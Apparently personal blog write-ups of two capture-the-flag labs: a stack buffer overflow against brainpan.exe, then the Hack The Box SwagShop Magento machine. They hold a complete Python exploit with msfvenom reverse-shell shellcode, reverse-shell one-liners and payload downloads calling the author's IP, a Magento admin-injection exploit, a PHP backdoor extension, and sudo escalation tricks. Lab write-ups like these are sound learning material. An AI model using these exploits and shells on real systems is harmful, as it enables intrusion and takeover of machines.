I run the fuzzer a couple more times, just to check that it crashes on 1500 bytes each time. If the crash isn’t consitent we can’t replicate the crash and do the overflow. When doing this originally on my Windows10 box, the crash point moved and went from 1,500 up to 500,000 over a few runs. This threw me for hours and shows how ASLR works, for this, we don’t need to worry about that.

So we can crash the program, what’s next? Well instead of fuzzing it each time, can we replicate the crash by just using 1,500 bytes each time?

Let’s create a new script called brainpan.py

This script is more straightforward and is on my github.

Before we run this script, we need to reset the program, so it’s not in it’s crashed state. In Immunity click the double back arrows (or Ctrl+F2) to reset the program, then click play(or F9).

Then run the script!

Running this does crash the brainpan.exe in the same way. This is great.

So next, we need to work out where the EIP so we can control it!

There is a msf module which allows the creation of a unique string to the length you need.

Heading over to our kali box, we create a unique payload which is 1500 characters. The tool is held in /usr/share/metasploit-framework/tools/exploit

The command we use is:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1500

This creates the payload

We put this into the script where the payload was.

Reset the program (Ctrl + F2, F9)

Run the script.

This time we can see that the crash contains the different characters:

So the EIP isn’t 41414141 (to represent the A’s) anymore, its now 35724134. What does that mean, well there is another tool called pattern_offset which tells you the offset for these characters, allowing us to know exactly where the EIP is in the stack.

Heading back to our kali box, we run:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134 -l 1500

This tells us the offset of those characters:

[*] Exact match at offset 524

What this means, is that there are 524 characters before the EIP. So if we send 524 A’s. Then the EIP is 4 bytes so 4 B’s. Then a bunch of C’s, we can see if we have control of the EIP.

For that we need to tweak our script again.

payload = "A"*524 + "B"*4 + "C"*900

Our payload shouldn’t be more than 900 bytes, so that is just an arbitrary number I’ve chosen.

Restart the brainpan program and run the script again.

Ok, there we have it!

So you can see that the EDX contains all the A’s.

The EIP is then 4242424242 which is great as 42 is the hex value of B.

We can also see that the ESP contains the C’s.

This really has working in our favour!

So, the next thing we need to do, is work out ideally what we want the program to do.

Ideally, we want to put our shellcode where the C’s are (by the ESP pointer), we need to find out if this has enough space. Right click on the ESP pointer and choose “follow in dump”

The dump will then jump to where this is. If we are lucky we will see line after line of C’s. If we only see like 4 C’s, we won’t have enough space our payload.

Luckily for us, that is a whole bunch of C’s. Each line is 8 and we have 59 lines. That’s 472 bytes which should be plenty for our payload!

Excellent!

So, what we need to do next is check for bad characters. So bad characters are characters that the program can’t deal with. If we have a payload with a character that breaks the program in an unexpected way, our payload won’t run.

To do that, we need a list of all the characters in hex format. A quick google brings back a list, we put that into the script:

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

We then need to set the payload to have 528 A’s then the bad characters

payload = "A"*524 + "B"*4 + badchars

Restart the program in Immunity and rerun the script.

If we jump to the ESP in the stack, we can see it’s all nonsense. Not the characters we were expecting:

The hex values don’t seem to tie up with the list of characters, so that means the first hex value x00 must be a bad character. (x00 is a null byte, so most programs don’t process them correctly.

Remove that from the list of bad characters. Restart the program and re-run script.

This time we can see that all the hex values are  there, starting at 01 and ending at FF.

This means there are no other bad characters, this is good news!

Keep a note of the bad character as we will need that later when creating our payload.

We now need to work out how to move the program to the shellcode we will put in the ESP register. To do that we need to find if the program is running any sort of ASLR or other mechanism to fuck us over.

To do this we need the mona module for Immunity. Download it and get it installed, it’s very straightforward. 

What we need first is the modules option. In the bar at the bottom of Immunity type in

!mona modules

This will bring us a list of all modules. We are looking for anything that has False across the board!

We can see that brainpan.exe is false across the board. This is good news, so we can use that.

So within the brainpan program, we need to find a “JMP ESP” command.

Again, we can use mona for this. However first each command has a unique code, we can either google this, or use the nasm_shell module from metasploit. We can run the module and enter the command we want.

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 
nasm > jmp esp
00000000 FFE4 jmp esp

So we are looking for a bit of the program with the code FFE4 and is within brainpan.exe.

Luckily mona can help us out again, it allows searching, we need to search using the hex values so “\x” preceding each hex value.

!mona find -s "\xff\xe4" -m brainpan.exe

Running it found 1 pointer.

So we have a pointer at “311712f3”. Double clicking on that line takes us back to our normal screen with the code. We can see that it is a JMP ESP command.

Great, so what we can do, is overwrite the EIP with this location, which will make the program jump to the ESP area in the dump where we have put our shellcode.

Let’s get that into our script. However, the address needs to be written in reverse (but with the hex value in the same order), so instead of:

311712F3

we will have

F3121731

It will also need the hex stuffs round it so will be

\xF3\x12\x17\x31

Why is this? I have no idea! Feel free to leave a comment or hit me up on twitter if you can ELI5!

Adding this into our script we now have something like this:

#!/bin/python
import socket

EIP = "\xF3\x12\x17\x31"

print "Sending the overflow"
payload = "A"*524 + EIP + "C"*472
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('127.0.0.1',9999))
s.send(payload)
s.close()

Let’s check that this works as expected.

Restart the program, then we want to set a breakpoint at our JMP ESP. To set a breakpoint its F2. When the breakpoint is set it will be bright blue.

Run the script.

So we can see that the EIP points to 311712F3 and the ESP is full of C’s. Looking in the stack, we can see we are at the top of the C’s.

This is great news. We just need our payload!

Msfvenom is the best way to create the payload. As it’s a windows box, we can use the windows/shell_reverse_tcp as it’s an unstaged payload so we can pick it up with netcat.

When creating the shellcode, we need to put in the bad characters using the -b flag. In this case the only bad character was x00. As many as needed can be added.

We are still doing everything on our local WindowsXP machine, so the Lhost will be 127.0.0.1. We will have to recreate this for our kali instance when attacking the actual brainpan box. The reason we are doing it locally first, is to keep it as simple as possible. If we did it straight to our kali box, there could be networking issues resulting in our reverse shell or the payload was wrong, or a number of other things. So to keep it as simple as possible we have the least amount of variables.

msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=9988 EXITFUNC=thread -f c -b "\x00"

Running that in our kali box, we get the shell code.

We also see that the payload length if 351 bytes. This is important as we need to add the C’s after the payload to fill up the stack.

Adding it into our script we get:

#!/bin/python
import socket

EIP = "\xF3\x12\x17\x31"
shellcode = ("\xd9\xeb\xd9\x74\x24\xf4\xbb\x85\x9d\x42\x65\x5a\x31\xc9\xb1"
"\x52\x83\xc2\x04\x31\x5a\x13\x03\xdf\x8e\xa0\x90\x23\x58\xa6"
"\x5b\xdb\x99\xc7\xd2\x3e\xa8\xc7\x81\x4b\x9b\xf7\xc2\x19\x10"
"\x73\x86\x89\xa3\xf1\x0f\xbe\x04\xbf\x69\xf1\x95\xec\x4a\x90"
"\x15\xef\x9e\x72\x27\x20\xd3\x73\x60\x5d\x1e\x21\x39\x29\x8d"
"\xd5\x4e\x67\x0e\x5e\x1c\x69\x16\x83\xd5\x88\x37\x12\x6d\xd3"
"\x97\x95\xa2\x6f\x9e\x8d\xa7\x4a\x68\x26\x13\x20\x6b\xee\x6d"
"\xc9\xc0\xcf\x41\x38\x18\x08\x65\xa3\x6f\x60\x95\x5e\x68\xb7"
"\xe7\x84\xfd\x23\x4f\x4e\xa5\x8f\x71\x83\x30\x44\x7d\x68\x36"
"\x02\x62\x6f\x9b\x39\x9e\xe4\x1a\xed\x16\xbe\x38\x29\x72\x64"
"\x20\x68\xde\xcb\x5d\x6a\x81\xb4\xfb\xe1\x2c\xa0\x71\xa8\x38"
"\x05\xb8\x52\xb9\x01\xcb\x21\x8b\x8e\x67\xad\xa7\x47\xae\x2a"
"\xc7\x7d\x16\xa4\x36\x7e\x67\xed\xfc\x2a\x37\x85\xd5\x52\xdc"
"\x55\xd9\x86\x73\x05\x75\x79\x34\xf5\x35\x29\xdc\x1f\xba\x16"
"\xfc\x20\x10\x3f\x97\xdb\xf3\x3f\x68\xe3\x02\xa8\x6a\xe3\x23"
"\x2c\xe2\x05\x41\x3c\xa2\x9e\xfe\xa5\xef\x54\x9e\x2a\x3a\x11"
"\xa0\xa1\xc9\xe6\x6f\x42\xa7\xf4\x18\xa2\xf2\xa6\x8f\xbd\x28"
"\xce\x4c\x2f\xb7\x0e\x1a\x4c\x60\x59\x4b\xa2\x79\x0f\x61\x9d"
"\xd3\x2d\x78\x7b\x1b\xf5\xa7\xb8\xa2\xf4\x2a\x84\x80\xe6\xf2"
"\x05\x8d\x52\xab\x53\x5b\x0c\x0d\x0a\x2d\xe6\xc7\xe1\xe7\x6e"
"\x91\xc9\x37\xe8\x9e\x07\xce\x14\x2e\xfe\x97\x2b\x9f\x96\x1f"
"\x54\xfd\x06\xdf\x8f\x45\x26\x02\x05\xb0\xcf\x9b\xcc\x79\x92"
"\x1b\x3b\xbd\xab\x9f\xc9\x3e\x48\xbf\xb8\x3b\x14\x07\x51\x36"
"\x05\xe2\x55\xe5\x26\x27" )

print "Sending the overflow"
payload = "A"*524 + EIP + shellcode + "C"* (472 - 351)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('127.0.0.1',9999))
s.send(payload)
s.close()

Now we need to get netcat onto the windows XP box. There is a static nc binary on kali in /usr/share/windows-binaries.
Host that folder with a python simple webserver

python -m SimpleHTTPServer 9001

Visit that in the browser and download onto the XP box.

Get netcat running:

nc.exe -nvlp 9988

Restart the program in Immunity and run the script.

Hmm, it crashed but we didn’t get a reverse shell. Bollocks.

In overflows there are a thing called “nops”, these are effectively nothing bytes which don’t do anything just move onto the next byte. So by adding a few of those we create what is known as a “nopsled”. What this does is gives a bit of a runup to the shellcode, so the code isn’t being executed “too quickly”.

Let’s add some to the script. The code for these is “\x90”. Our payload now looks like:

payload = "A"*524 + EIP + "\x90" * 8 + shellcode + "C"* (472 - 351 - 8)

Restart the program and run it again, we can see at the breakpoint of our JMP ESP that the stack has the nopsled in:

The 90’s are there.

So continue the program (F9) and it doesn’t work.

What the heck! Looking at the stack, the nopsled is there. Not sure what’s going on.

Let’s increase the nopsled and see if that makes any difference.

Increasing the nopsled to 16 made it work. Doing some trail and error the minimum number of nops we needed was 10. I have absolutly no idea why 8 wasn’t enough. If anyone can explain, please let me know!

Moving on, we have a working script. We can overflow the program and point it back to us for a reverse shell. So let’s do this at the brainpan machine.

We need to change a couple of things, firstly we need a reverse shell code with our kali IP, so recreating the shellcode:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.116.140 LPORT=9988 EXITFUNC=thread -f c -b "\x00"

Put the resulting code into the script, note if the length has changed at all and update that.

We also need to change the s.connect IP address to the brainpan box.

Set up a listener, and run the script!

Yes!! We have a reverse shell on the brainpan box!

Buffer overflow complete!

Brainpan does have some priv esc, which surprised me and I haven’t done previously (it took me many hours last time and I finished the BoF at 1am, so stopped there) let’s adventure together to try priv esc!

So we are in a windows environment, the box is Ubuntu (I noticed when it booted up), so we are running in some sort of wine environment. I guess we have to break out of this.

Trying basic escapes like /bin/bash or os.system all fail. I can’t access python so can’t do the python -c import etc etc.

Moving up the tree confirms we are in a linux environment:

Moving into the bin directory and trying a bash reverse shell we get an error:

It must be a wine environment, so let’s search for some common breakouts.

Trying all the common breakouts I could find, I couldn’t get a breakout.

What if we change our shellcode to be linux?

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.116.140 LPORT=9988 -f c -b "\x00"

Again, check the size (wow linux is a smaller payload) and add it into the script, changing the size of the C’s if needed.

Run the script:

We now have a linux shell, and I have upgraded it to a bash shell using:

python -c 'import pty;pty.spawn("/bin/bash")'

The first thing I always check these days, is sudo.

sudo -l

Well that was worth a check!

Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util

So we can run that program in the home directory.

Running it we get a help file:

So the most interesting there is “manual [command]”

Can we do any command like read the shadow file?

That’s strange as the /etc/shadow file does exist.

Maybe I don’t need the quotes?

That’s a bit of an odd error. I can input data, how about !/bin/bash

Alright, we are root!

A quick look for a flag.

No flag. But we are root on brainpan!

There we have it! The most basic Stack Buffer Overflow but a good lesson in each step. Hopefully this has been pretty clear and helpful. Give me a shout if anything doesn’t make sense or I’ve got anything wrong!

I almost forgot.

Root Dance!

Hack The Box – Swag Shop

So it’s that time again, let’s see how far we can get with a meant to be straight forward Hack the Box box!

First up, we run our nmap scan

nmap -sC -sV -O -oA nmap/swagshop 10.10.10.140

We get 2 results back:

We have SSH and HTTP open. Looking at the apache code (2.4.18) this version was released on 3-March-2016. This is strange and might straight away give us an indication of where we need to look.

The HTTP result is also odd as it shows an 503 error. Let’s jump in and see what’s on the webpage.

Heading over there, we do in fact get an error page:

We straight away get 2 really useful bits of information, the fact this is running Magento, which is an Adobe eCommerce product. Also that the copyright is 2014, I wonder if that means we have a really old version of this too.

Let’s run a dirb on this to see if we have any more results

dirb http://10.10.10.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

I use the 2.3 medium as standard. I think for HTB the small would probably be fine, but I have time, so why not run the more in depth scan.

(Dirb does then run through each folder recursively which is really useful, but also comes back with a lot of info, so here is the high level results!)

Having a look through the results, there are a lot of things set up for the shop, pictures of the products, logos and gifs. The /shell/ directory looks interesting, but we get this result for each of the scripts:

Which you know, makes sense. Running through some more options, we try /downloader/ and bingo:

Here we get the version number 1.9.0.0 and the copyright year of 2014 ties in with what we have already seen. So let’s check the changelog and any exploits for this version.

I’ve found this blog: https://support.alertlogic.com/hc/en-us/articles/115005913586-01-03-18-Magento-1-8-1-9-Connect-Manager-PHP-Upload-

This describes an exploit via arbitrary PHP upload. I’ve run into a problem though:

 A caveat for this exploit requires an attacker to obtain administrator credentials (users with “all” privileges also work) to the Magento instance.

So we need to go credential diving in all the other resources available on this webpage! Before we jump into all that, lets see if there are default creds we can use.

I had a google round and one bit of advice was to look at the downloader/connect.cfg page. So I did. I don’t think it’s useful right now, but I’m putting it here as it might be later:

::ConnectConfig::v::1.0::a:12:{s:7:"php_ini";s:0:"";s:8:"protocol";s:4:"http";s:15:"preferred_state";s:6:"stable";s:27:"use_custom_permissions_mode";b:0;s:15:"global_dir_mode";i:511;s:16:"global_file_mode";i:438;s:15:"downloader_path";s:10:"downloader";s:12:"magento_root";s:27:"/var/www/html/downloader/..";s:16:"root_channel_uri";s:39:"connect20.magentocommerce.com/community";s:12:"root_channel";s:9:"community";s:13:"remote_config";s:0:"";s:9:"sync_pear";b:0;}

Knowing where the application is installed is always useful in case we need to folder traversal later on: /var/www/html/downloader/

Unfortunately it looks like you create the creds during the install, so no easy default creds for us.

Let’s go hunting instead, and as a plan B, we will try Burp Intruder as a brute-forcer. But this seems overkill when we don’t even have a username yet!

There are so many files!!

While getting bored of going through files, my mind wandered and I wondered if there is any virtual host routing going on. So I added swagshop.htb to my hosts file and went to swagshop.htb

We have any actual site. I wondered if this was virtual host routing, so went back to just the IP. Same result. The box must have been reset and the website has become unfucked. Thanks random other user on the free server! 🙂

So, rather than digging through all that, let’s have a poke around the actual website!

There is an account part, let’s see if we can register and if this will give additional information:

Ok, we can register and log in. A quick check if this login can be used on the connect manager results in a denied. Not a surprise, but I like easy wins (one day i’ll get one)!

While we are at the log in idea. Heading back to the main site, we have a valid user, if we get the password wrong for a valid user, we get an error of:

If we try with an account that’s not going to be there (e.g spaceman@space.com), we get the same result. So there is no credential leakage this way.

From the poking around we did earlier (http://swagshop.htb/app/etc/config.xml), we know that in the background there is an SQL database,

<connection><host>localhost</host><username/><password/><dbname>magento</dbname><model>mysql4</model><initStatements>SET NAMES utf8</initStatements><type>pdo_mysql</type><active>0</active></connection></default_setup>

We could therefore see if there is some SQLInjection available. Looking at the search box, we do a search of hello and the url that comes back is:

http://10.10.10.140/index.php/catalogsearch/result/?q=hello

This is querying the database behind the system. So let’s have a go.

sqlmap -u "http://10.10.10.140/index.php/catalogsearch/result/?q=hello"

The results are in and it doesn’t look like this is vulnerable to SQL Injection.

Let’s log in and have a poke around this dashboard. Knowing what we already found, I’m looking for any sort of username and password that would have admin privileges. Doesn’t appear to be anything of use in the dashboard.

Ok, finally we potentially have a small break. There is the About Us page:

Could John Doe be a user. Potentially.

Let’s go back to the config.xml page we found earlier as in there is a filesystem:

Oddly, a lot of these don’t seem to work.

Another page that we did stumble across later on was /app/etc/local.xml. This gives a username and password for an SQL instance on localhost by the look of it:

Let’s keep those creds for later!

Another interesting part of the site, is within the index.php. There are more directories deeper, running another dirb:

dirb http://10.10.10.140/index.php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

We get a few results, but the most interesting was admin.

So with that knowledge and now 2 log in opportunities. What can we do with them?

I headed back to google and wondered if I’d missed something obvious, searching for Magento exploits I came across this:

https://www.ambionics.io/blog/magento-sqli

Maybe it is SQLInjection! Let’s run through this and see what we can find!

I decided to run sqlmap again, with the same as before. A line I missed previously was:

[18:31:43] [INFO] heuristic (XSS) test shows that GET parameter 'q' might be vulnerable to cross-site scripting (XSS) attacks

So we might have some XSS on this.

While all my tools were re-running, I had another poke about the website. This time I found myself in /var/cache, this appears to have cached all the SQL tables:

Rather than going through all of them one by one. I’m going to download the whole lot and do some grepping on them.

wget -r http://10.10.10.140/var/cache/

Now these are all downloaded, we can do a grep for “admin” “user” “password” and see what we get.

I didn’t find anything overly useful in there. A lot of information, but nothing else.

While the box was resetting I did a bit more googling, and there looks like there might be a RCE available:

https://www.exploit-db.com/exploits/39838

So the pre-requisites of this are:

to get a valid guestCartId
// * add an item in your cart
// * go to checkout
// * fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information
// (* in the response check the payment method it may vary from checkmo)

Out of the items available, a t-shirt is definitely the most rad, so let’s buy one of those.

Adding that to basket and proceeding to checkout. Let’s checkout as Guest (rather than registering)

Filing in all the shipping address. Turn on Burp intercept and click Continue.

Go through the next stages and at the final Place Order button we get a post request.

So we have our valid guest cart ID, I think:

0tNdHjhtQ3VXmBdF

Let’s try using that with the exploit. The exploit downloads as a PHP, so that’s a bit odd.

I’m not too sure what to do with this, so I went back to google and found a metasploit module.

I’m not a huge fan of going straight to msf, especially as it can’t really be used in OSCP, however. I need a win right now. (Querier has killed me completely)

So, lets open msfconsole

use exploit/multi/http/magento_unserialize

A bit of googling and the issue is summed up nicely:

"Magento is prone to a remote code-execution vulnerability because it fails to properly sanitize user supplied input. 
Specifically, this issue occurs because it fails to properly restrict a user to set malicious '_data' property of 'payment' instance 
through 'method' variable of 'getData()' function. An unauthenticated attacker can exploit this issue to execute arbitrary PHP code on the server through REST or SOAP APIs."s

So I set all the options, which were just RHOSTS and TARGETURI

I got an error in return:

So we go and look over there:

A quick look shows that it’s not my IP address. So let’s try not on the index.php targetURI. Also no good.

After a box reset, I tried this again.

Still no good. Ok this isn’t the route we wanted to do anyway!

I keep coming back round to the fact there are 2 login pages there should be creds somewhere!

As a change of tact, from trying to get RCE or a reverse shell straight off the bat. I googled if there was a way to add an extra admin account.

So, there is an exploit called ShopLifter. What this done is uses some very clever SQL injection to add a new admin user into the system. I took the code from this github page.

So what this does, is adds in a new admin account. Reading through the script it adds a user with the username ypwq & password 123.

Wondering if this is on the right lines, I went to the 2 log in pages and tried the user without running the script.

Bingo, I was able to log in onto both management areas. I assume this is from other people leaving a trail, rather than poor misconfiguration.

Anyway, we want to do the exploit and see if it works ourselves.

Looking at the script, we can edit it slightly to use any username and password, so I make a couple of changes

Now, we have 2 places to attack, but the script mentions index.php/admin so we just need to give it the web address.

python add_admin.py 10.10.10.140

The script has come back and said it has worked. You’ll notice the URL is wrong though. Let’s give it a go anyway.

First over to /index.php/admin

We are in! Huzzah!

I wonder if the new account works on the downloader page too.

We are! So we now have 2 main areas to look around in.

The downloader immediately pops out with a Direct package file upload. Could it be as easy as putting up a php reverse shell? We take the reverse shell script from pentestmonkey and change our IP address.

Get a listener set up on the port

nc -nvlp 9006

Uploading the .php file.

This result was not unexpected but it’s always worth a try.

So, lets do some googling, is there any file inclusion or other exploits we have access now we are an admin user. After not too long we find this exploit: https://www.exploit-db.com/exploits/35052

This tells us that the mass importer allows uploads of PHP files without any sanity checks. This seems good. All we need to go is zip the file (so it looks like a legit plugin) and run the script to extract the payload. Then we can visit the site via magmi/plugings and our plugin should be there.

Before we do it, let’s make sure magmi and plugins exist. Heading to:

http://10.10.10.140/index.php/magmi/web/magmi.php

http://10.10.10.140/index.php/admin/magmi/web/magmi.php

http://10.10.10.140/magmi/web/magmi.php

http://10.10.10.140/downloader/magmi/web/magmi.php

All bring back 404 errors. So I’m not sure if this is an extension we can use and due to it being on a VPN, we can’t use our admin creds to install additional plugins.

However, we did find this exploit earlier. The caveat was we needed admin credentials, which we do now have!

Another interesting thing to note, is this box goes down so often. It looks to get put into some sort of maintance mode all the frikkin time, looking at the connect manager there is a default ticked button at the top:

So this would be another clue that we need to do a direct package file upload, so we need to follow the exploit above.

First up, what do we want in our zip file? Ideally a php reverse shell script.

Then we also need an xml file, which magento will read. So let’s get those sorted. First, for the xml file, let’s try using the most basic one available. Let’s try hello world!

nano helloworld.xml

Paste in:

<?xml version="1.0" encoding="UTF-8"?>
<text>
  <para>hello world</para>
</text>

Save and exit. We then need our php-reverse shell, which we got earlier from pentestmonkey. We then need to zip the files together

zip yekki.zip helloworld.xml yekki.php

We now have a zip file. Let’s untick the box above, so others can still use the box. Then upload our zip and see what happens.

Again, we got the same error as above. Time to change tack.

Looking again through the Admin Panel, I notice under CMS there is a Manage Page option. I wonder if we can just make a new page.

There is an option “Add New Page”. Let’s add this called yekki.php

Under the Page Info, we add the Title of Yekki and URL key of yekki.php

In the content, we copy in the php reverse shell code. Changing the ip address and port to match our system and nc listener.

Under Design, we change everything to basic and try to keep it all as simple as possible. Click Save and Continue Exit.

Let’s see if we can see the page. Heading over to:

http://10.10.10.140/index.php/yekki.php

The page is there, but the reverse shell doesn’t start. Instead the page loads, sad times!

I was really hoping by uploading and going there, it would work. Never mind! Let’s keep digging!

After a bit more googling, I find this github: https://github.com/astorm/MagentoTarToConnect

This can convert our php file into the connect upload format. So let’s try this out with our php reverse shell file.

Running this with my php file, got me a shell. It was however local, before I went near the application. I’m not too sure this is the way forward.

I had a bit of a break and then came back and found some god-awful youtube video’s. You know the ones, typing on a terminal and terrible background music. Well this one: https://www.youtube.com/watch?v=BbVk67f0OCE

Interestingly had a link to the filesystem extension. I’d seen this in my travels, but assumed as I didn’t have web access, couldn’t get the extension.

So I downloaded it, off I went to /downloader to upload the new extension.

After I click upload, I get an error:

CONNECT ERROR: Unsupported resource type

Bugger. A quick check shows that it has not appeared where it should have.

——–The Next Day——–

So this had bugged me for a day, so I went back on the research and found a full download: https://www.magecloud.net/marketplace/extension/file-system/

I had to register, so used a temporary e-mail from https://temp-mail.org/en/

Downloading the Filesystem tgz file was easy. Heading over to the /downloader/ admin portal, we untick the box at the top so we don’t put the box into maintenance mode and select the file to upload.

Clicking Upload takes me to the box at the bottom, some green text which again states

CONNECT ERROR: Package file is invalid
Invalid version, should be like: x.x.x
Invalid stability
Invalid channel URL
Empty authors section
Empty package contents section

Excellent, well that’s a bundle of joy isn’t it!

Let’s instead head back to our favourite search engine and see if there are any other extensions we can add on. A bit more searching and we come across another github page: https://github.com/lavalamp-/LavaMagentoBD

A quick and dirty php shell, I’d be happy for that to work. Let’s have a go!

Heading over to /downloader/ and logging in with our new creds, let’s try the upload. The green box of doom, this time:

Looks like a success! So the readme then says we need to navigate to: /index.php/lavalamp/index

The page loads! It’s empty, but it loads! I take that as a win as the shell must have uploaded otherwise we would have got a 404! Let’s look into the code and see what it’s doing, do we need a listener on a port or is this meant to be an interactive shell.

The instructions say: “The shell is a simple command shell that will take $_POST[‘c’], pass it to shell_exec, and echo back the contents.”

So where would we put in that POST, maybe as a request in Burp? Let’s try that as a post request.

In Burp, we intercept the request and send it over to repeater. Changing the request to a POST request, at the bottom we try:

c='whoami'

Success!! We are running as www-data!

So let’s head over to highon.coffee and get a reverse shell 1 liner.

bash -i >& /dev/tcp/10.10.14.33/9005 0>&1

Also set up a listner

nc -nvlp 9005

And… the site loads and we do not get a reverse shell. So maybe it’s not a bash shell. Is there an easy way to find out? We can’t cat /etc/passwd which would be my normal route, as cat doesn’t appear to work.

As it’s done via php, maybe we need a php reverse shell 1 liner, rather than bash.

/usr/local/bin/wget http://10.10.14.33:9001/php-reverse-shell.php -O /var/tmp/shell.php 2>&1

Let’s try this and we will host our normal php reverse shell using python simpleHTTPServer

No good sadly.

Let’s keep trying, as we need a reverse shell here

/bin/sh | nc 10.10.14.33 9005

Still no good, however the issue I have been having, is I had single quotes around each expression, which was breaking things. So a quick look without those and we have cat back.

cat /home/haris/user.txt

Boom!

I’m suprised that www-data who is the user we are on has access to read that file, but I don’t mind. That’s a win!

So, now we have a bit more confidence, let’s try and get a reverse shell or a password for ssh!

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.33",9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Again, not working.

Having a poke around instead we look at /etc/, sudoers is a file there and it looks like we might have sudo on vi:

So let’s try

sudo vi /root/root.txt

Nothing comes back. Same with sudo vim /root/root.txt

I guess because vi is an interactive editor, it’s not something that would come back via the command line. Again, I feel we need a reverse shell or to be able to log in via ssh.

Let’s change tactic and see if we can find a password for the account, then we would be able to ssh in which would make life a lot easier.  Trying a search for password

c=grep -iR password .

Gives us a load of results, the one that look most interesting are:

./install.php: * --admin_username admin --admin_password 123123 \
./install.php: * --db_pass // required, Database User Password
./install.php: * --admin_password // required, admin user password
./lib/PEAR/Net/URL.php: * Password
./lib/PEAR/Net/URL.php: var $password;

So let’s take a look at the install script and see if there is a hardcoded password.

All we have is this:

* –admin_lastname Owner –admin_firstname Store –admin_email “admin@example.com” \
* –admin_username admin –admin_password 123123 \

This is commented out and a password of 123123 doesn’t seem likely as that would be very easy to brute which I don’t think would be the way for a CTF.

So, I went back and spent some more time trying to get a shell, I thought i’d try using metasploit, so I created a elf payload:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.33 LPORT=9002 -f elf > shell.elf

I put this up onto my webserver

python -m SimpleHTTPServer 9001

Downloaded it onto the box, via my command execuation in burp

c=wget http://10.10.14.33:9001/shell.elf

Started a metasploit listener

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

Set up the options for host and port. Ran the exploit on the box and boom, we have a reverse shell! That took way longer than it should have and I can’t explain why my normal bash shells kept dying straight away, but anyway, onwards and upwards. Let’s go root flag hunting!

Having a hunt around, we find the SQL database password found in:

/var/www/html/app/etc/local.xml

<host><![CDATA[localhost]]></host>
<username><![CDATA[root]]></username>
<password><![CDATA[fMVWh7bDHpgZkyfqQXreTjU9]]></password>
<dbname><![CDATA[swagshop]]></dbname>

Let’s see if there is an SSH password in the SQL database. We get an access denied when trying to access the SQL database.

I’ve now run LinEnum.sh and I know that we have sudo abilities on /usr/bin/vi so let’s re-run through the basics:

sudo /usr/bin/vi /root/root.txt

We run into an error:

sudo: no tty present and no askpass program specified

So a bit of googling mostly tells us to change the sudoers file, unfortunately we can’t do that as only have read and execute on the file.

I think this is due to the fact we are in a rubbish restricted shell, we have earlier tried out python method to upgrade our shell, that didn’t work but let’s try it with python3:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Hooray, we now have  bash shell. Let’s try this again

sudo vi /root/root.txt

We get prompted for a password, odd.

So let’s go back to what the sudoers file actually says:

www-data ALL=NOPASSWD:/usr/bin/vi /var/www/html/*

Does this meant that we can only use sudo vi for files that are within the /var/www/html directory?

Let’s try, first we need to create a symbolic link (we have done this before on some previous boxes)

ln -s /root/root.txt hello.txt

Our symbolic link is created:

Now we can try again

sudo /usr/bin/vi /var/www/html/hello.txt

Success! We get the root flag, and the details to go to the shop! Excellent!

 

This was a very annoying box, with the website going down constantly and I had to upgrade to VIP. If I hadn’t of done that, I would have given up a fair while ago!

From there, the magento add-ons were frustrating to try and find but I am happy that I understood the exploit and how to do the RCE through Burp. Then I have also learnt a new skill about sudo and limiting that down to only certain folders, I can see that being really useful for the future!!

Now, to go and buy some swag!!